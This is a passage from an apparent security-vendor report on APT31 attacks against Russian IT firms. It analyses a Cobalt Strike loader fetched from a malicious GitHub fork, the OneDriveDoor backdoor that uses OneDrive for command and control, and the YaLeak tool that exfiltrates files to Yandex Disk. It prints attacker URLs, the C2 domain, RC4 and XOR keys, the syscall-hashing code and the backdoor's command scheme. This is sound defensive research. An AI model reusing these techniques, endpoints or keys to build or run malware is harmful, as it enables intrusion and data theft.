The algorithm for resolving syscall functions is as follows: From the PEB structure, we obtain the address of ntdll.dll and iterate over all export functions; if a function name starts with Zw, its hash value is calculated. After hash values have been calculated for all Zw functions, they are placed into an array as pairs of “hash value, system call number,” and this array is then sorted using bubble sort. As a result, an ordered array of 464 Zw functions from ntdll.dll is obtained.

The figure below shows the code for calculating all ComputeZwHash functions and retrieving the syscall function number.

Function for computing hash sums of syscall functions
Function for computing hash sums of syscall functions

The algorithm for hashing the syscall function name is as follows:
 

def ComputeZwHash(function_name):

    hash_sum = 0xCEC79E15
    for i in range(0, len(function_name)):
        if i + 1 < len(function_name):
            char = (function_name[i + 1] << 8) | function_name[i]
        else:
            char = function_name[i]
        temp = ror(hash_sum, 8,32)
        temp = (temp + char) & 0xFFFFFFFF
        hash_sum = hash_sum ^ temp
    return hash_sum


To inject the shellcode into the process, the loader uses the Remote Thread Injection technique and calls the following functions:
 

ZwAllocateVirtualMemory 0xc354d9c7
ZwWriteVirtualMemory 0x46543e95
ZwProtectVirtualMemory 0x3bad717f
ZwResumeThread 0x3e1220a8
ZwOpenThread 0xea9c49f
ZwSuspendThread 0x34a33e15
ZwClose 0xc9a1527
ZwSetContextThread 0x94acca16
ZwGetContextThread 0x286b36e8


After the shellcode is injected into the makecab.exe process, the main process terminates and execution is passed to the shellcode.

The decrypted try file consists of:

  • bytes 0–0×32: first-stage shellcode, which decrypts the data starting from offset 0×33 using XOR with the key A7 C0 82 59 FC 7D 47 0D.
  • bytes 0×33–0xEC5: second-stage shellcode, whose main task is to load an executable that starts at offset 0xEC6 into process memory
  • 0xEC6: a DLL that is the loader's main executable file

The second-stage shellcode uses the Reflective Loader technique to inject the DLL payload into the process address space. In addition, the ROR13 algorithm is used to hash function names. A similar code implementation is shown here.

The main payload is a dynamic library.

MD5: e6e73c59eb8be5fa2605b17552179c2f SHA1: 7a3139e80ea8c9d4bebf537d5497e19b3169ac09 SHA256: 4f53a5972fca15a04dc9f75f8046325093e9505a67ba90552100f6ad20c98f8b

Interestingly, the code of the main payload is identical to the code of the BugSplatRc64.dll dynamic library.

Next, the DLL that is loaded into memory loads a CobaltStrike Beacon implant.

Stages of obtaining the main payload:

1.The request to the scrcpyClone repository of user Range1992: https://raw.githubusercontent.com/Range1992/scrcpyClone/refs/heads/master/app/data/zsh-completion/_scrcpy. In the data received from Git, the malicious code searches for the start marker QQNSR4u and the end marker ZsNpk7Y of an encoded string. It then extracts the data between these markers, decodes it from Base64, and decrypts it with RC4 using the key 03 07 A0 B0 E3 80 88 77. The decrypted value is a URL of the main payload.

Contents of the _scrcpy file
Contents of the _scrcpy file

2.The decrypted address https://github.com/Range1992/scrcpyClone/raw/refs/heads/master/app/deps/PersonalizationCSP is used to load the encrypted CobaltStrike implant, which includes:

  • RC4 key: 8 bytes
  • Payload length: 4 bytes
  • Payload
Locations of the PersonalizationCSP file
Locations of the PersonalizationCSP file

The payload is a Cobalt Strike Beacon shellcode with the following configuration:
 

BeaconTypeHTTPS
Port443
SleepTime77665
MaxGetSize409721416
Jitter46
PublicKey_MD5fe7aa97fbe3fe21e59ead1792ca2dc58
C2ServerMoeodincovo.com,/divide/mail/SUVVJRQO8QRC,
www.Moeodincovo.com,/divide/mail/SUVVJRQO8QRC
UserAgentMozilla/5.0 (Windows NT 6.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
HttpPostUri/Terminate/v6.49/LTKAZNE9
C2 information from PT Fusion
C2 information from PT Fusion

By analyzing the attacker's account, we discovered that the last activity of user Range1992 was on December 5, 2024. On that day, the attackers created a fork of the scrcpy project and added the malware files.

Range1992 commit history
Range1992 commit history

OneDriveDoor

The executable file Seting.exe is a ThreadRacer CPU benchmark component that is vulnerable to DLL sideloading. It loads the dynamic library pl_rsrc_english.dll, which acts as a shellcode loader. The shellcode is stored in language.dll, encrypted with RC4, where the first 8 bytes of the file are used as the key.

The dynamic library pl_rsrc_english.dll decrypts this shellcode and injects it into a new winrshost.exe process. The shellcode loads the backdoor executable into the address space of winrshost.exe. Interestingly, the MZ signature is replaced with 0×22 0×11; PE is replaced with 0×44 0×33.

OneDriveDoor: changes magic values
OneDriveDoor: changes magic values

At startup, the backdoor creates the mutex 7ijPFUKNV8QRoGVo. It then generates the ID of the infected machine and connects to C2, which is implemented on Microsoft OneDrive.

OneDriveDoor: drive access scheme
OneDriveDoor: drive access scheme

After that, the backdoor enters a loop in which it receives messages.

Initially, OneDriveDoor (as a check of access to the drive) sends information about the infected machine to the file /root:/<ID>/8110 in the cloud. The following information about the system is collected: computer name; username; IP address of the infected host; PID; current working directory; whether the are administrator rights.

All parameters are separated by tabs and digits are converted to strings.

If the data is successfully sent to the server, the backdoor starts executing commands. The malware contacts the server every few seconds, but no longer than for five minutes.

The malware receives commands to execute on the compromised system in a JSON response to a request to the URL https[:]//graph.microsoft[.]com//v1.0/me/drive/root:/<ID>/config1:/children?select=name. The response contains a list of all files located in the <ID>\config1 directory.
 

{
    "value": [
        { "name": "filename1" },
        { "name": "filiname2" }
    ]
}
OneDriveDoor: a command example
OneDriveDoor: a command example

In this case, the attackers obtain the list of commands to be executed on the infected machine with the specified ID. The commands are the names of the files from the folder. If the file command_file contains one of several numeric strings, the corresponding command is executed.

numberdescription
8110Send information about the infected machine (only within the message loop)
8111Retrieve a file and write it, in encrypted form, to the victim's system at the specified path
8112Send an encrypted file from the computer to C2
8113Send information about free disk space
8114Execute an additional (extended) command
8115Terminate the cmd process from command 8114
8116list dir: recursively collects information about files in the specified folder, including last modification time, size, and attributes
8117Delete the specified file
8118Create a directory (the name is provided by the server)
8119, 8120, 8121Rename the file: requests from the server a string containing file names separated by a tab character

If additional parameters are required, they are taken from the file <ID>/config1/<command_file> by sending an additional request to retrieve the file contents. The only exceptions are file-read commands: only one parameter is extracted from the contents of the command file — the name of the file that will be written or read. The contents of the file will be (or already are) located at the path <ID>/VirtualServ/<command_file>.

After a command is executed, the file corresponding to that command (command_file) is deleted. The results are sent to a file at <ID>/<command_file>.

Command 8114, which is intended for executing additional cmd commands, should be considered separately.

OneDriveDoor: inside the function for executing command 8114
OneDriveDoor: inside the function for executing command 8114

Let's move on to the function responsible for processing this command. Inside it, the internal class cmd is initialized and two threads are started: one for executing commands (cmd: DownloadThreadProc), and one for collecting and processing results (cmd: OutputThreadProc).
 

struct cmd {
    __int64 hCMD;
    __int64 pipe_read1;
    __int64 pipe_write2;
    __int64 pipe_write1;
    __int64 pipe_read2;
    __int64 hOutPut;
    __int64 hMainCmd;
    int flag_need_exec;
    int flag_nostr2;
    void *hcurl1;
    void *hcurl2;
    mystr str1;
    mystr str2;
    tree *tree_paths;
    __int64 field_98;
    tree *tree_commands;
    __int64 field_A8;
    CRITICAL_SECTION crit_section;
};

cmd structure

Plugins

The cmd: DownloadThreadProc function retrieves the contents of the 8114 file, which contains the command to be executed together with all its parameters. Next, two ways of processing the command are possible: it is first passed to the cmd::main function for processing; if this fails, it is then sent to the running cmd process.

OneDriveDoor: a branch inside DownloadThreadProc
OneDriveDoor: a branch inside DownloadThreadProc

In cmd::main, the command is processed using plugins: they implement analogs of Windows cmd commands via the WinAPI or COM objects, without executing the command directly through the interpreter. Most likely, this functionality was implemented to leave fewer traces of OneDriveDoor on the system.

The code searches the command string for a keyword — an analog of a Windows cmd command. It then adds the corresponding plugin to the execution queue, first initializing the data structure for that plugin.

OneDriveDoor: locating a plugin by keyword
OneDriveDoor: locating a plugin by keyword

All commands are then executed according to the same scheme: for each plugin, an argument list is created, and with these parameters (similar to command-line parameters) the plugin's method is run to process the command. After that, the command's output is collected.

OneDriveDoor: launching a plugin with arguments
OneDriveDoor: launching a plugin with arguments

All plugins inherit the base-class methods and override them with their own implementations.
 

struct CmdPluginVtbl // sizeof=0x20
 {
     __int64 (__fastcall *init)(plugin *this); // инициализация структуры
     std::str *(__fastcall *whoami)(plugin *this, std::str *outname); // возвращает строку с именем плагина
     __int64 (__fastcall *action)(plugin *this, unsigned int argnum, LPWSTR *argline); // обрабатывает команды и выполняет необходимые действия
     __int64 (__fastcall *finish)(plugin *this, , std::wstring *out); // сбор результатов работы плагина
 };


In the current sample, 11 additional plugins were identified:

#CommandFunctions
1dirSearches all files in the specified directory and collects information about them
2netAnalog of the net command
3copyCopies a file to the specified path using SHFileOperationW
4delDeletes a file using SHFileOperationW
5queryAnalog of the query command: enumerates information about current sessions
6regAnalog of the reg command, supports only the add and query options
7tasklistExecutes the WQL SELECT Name, ProcessId FROM Win32_Process command using the IWbemLocator COM object
8schtasksCreation, management and deletion of scheduled tasks — a a full-featured equivalent to the identically‑named Windows system command.
9typeSends the file contents, taking the local character encoding into account
10whoamiSends the username using the GetUserNameW API
11wmicUses a WMIC implementation based on IWbemLocator to work with processes

Below we describe some of them in more detail.

DIR: analog of the command of the same name, but collects only specific information.

OneDriveDoor: collecting data using the Dir plugin
OneDriveDoor: collecting data using the Dir plugin

For all files in the specified directory, the plugin collects the last modification time and file size. At the end, it also adds the total number of folder and files, as well as the total size of the folder.

NET: analog of the net command with additional parameters:

  • use: analog of net use. First, it enumerates all connections of the local server to remote resources using NetUseEnum. If the /user parameter is set, it uses NetUseAdd to establish a connection between the local machine and a remote server.
  • user: enumerates all users with full details; can also add or remove users and activate accounts.
  • localgroup: enumerates all groups and can add its own group.
  • share: enumerates all shared resources using NetShareEnum.

WMIC: a reduced implementation of WMIC based on the IWbemLocator COM object. It is used to obtain information about processes. For this, it runs an analog of the command

wmic process call create

It can additionally specify the parameters PASSWORD, USER, and NODE.

Network Packets

C2 messages are encrypted using RC4 twice. For each message, its own key is generated and used to encrypt that message. This key is then added to the message, and the message is encrypted again with RC4 using the key specified in the malware configuration. Below is the scheme of the message decryption algorithm used in one of the samples:
 

def decryt_msg(msg, size_msg)
    if size_msg <= 86:
        return None
    rc4_key = "1xPHxdt49B9e5mBCw"
    msg_stage = rc4_algo(rc4_key, msg)
    # real_msg_size = sie_msg - 86
    output = rc4_algo(msg_stage[:4], msg[86:])
    return output


When messages are encrypted, 172 random ASCII characters are generated (in some cases, 86). The first four characters contain the RC4 key for that particular message, and the remaining characters are just junk, which is also attached to the message.

Exfiltration

For data exfiltration, the attackers used a small utility written in .NET. The tool uploaded information to Yandex Disk cloud storage, and was therefore named YaLeak.

YaLeak is launched with command-line arguments that specify:

  1. The directory on the compromised host that contains the files to be uploaded to Yandex Disk. By default, this parameter contains the path C:\Users\Public\Downloads.
  2. The destination directory on the attacker's Yandex Disk. By default, this is the filesync folder.
YaLeak: the main function
YaLeak: the main function

The malware then recursively bypasses the contents of the exfiltrated directory and sends each file using the Yandex API. Before the file is sent, the following request is executed:

https://cloud-api.yandex.net/v1/disk/resources/upload?path=<YaDir>/<relative_path>&overwrite=true

The JSON response contains the href parameter — a unique URL to which the file from the victim's system will be uploaded. After the upload completes successfully, the file is deleted from the victim's system.

Conclusion

APT31 remains active to this day. Over the past year, several attacks targeting the Russian IT sector were identified. Their attacks are still carefully planned — from the timing of campaigns to the command logic. In addition, APT31 continues to expand its toolkit: while they still rely on some of their older tools, this year their arsenal has included new malware, primarily backdoors.

As C2 channels, the attackers use cloud services, in particular Yandex and Microsoft OneDrive. Many of their tools are also configured to operate in server mode, waiting for the attackers to connect to the compromised host. The group also exfiltrates data via Yandex Disk cloud storage.

These tools and techniques have allowed APT31 to remain undetected in victim infrastructures for years. The attackers have exfiltrated files and collected sensitive information from devices, including passwords to email accounts and internal services of their victims.

The authors would like to thank the incident response and threat intelligence teams of PT ESC (PT Expert Security Center) for their help in preparing this article.

File-based IoCs

Network IoCs

MITRE TTPs

Positive Technologies product verdicts

Judgment Panda attacks: APT31 today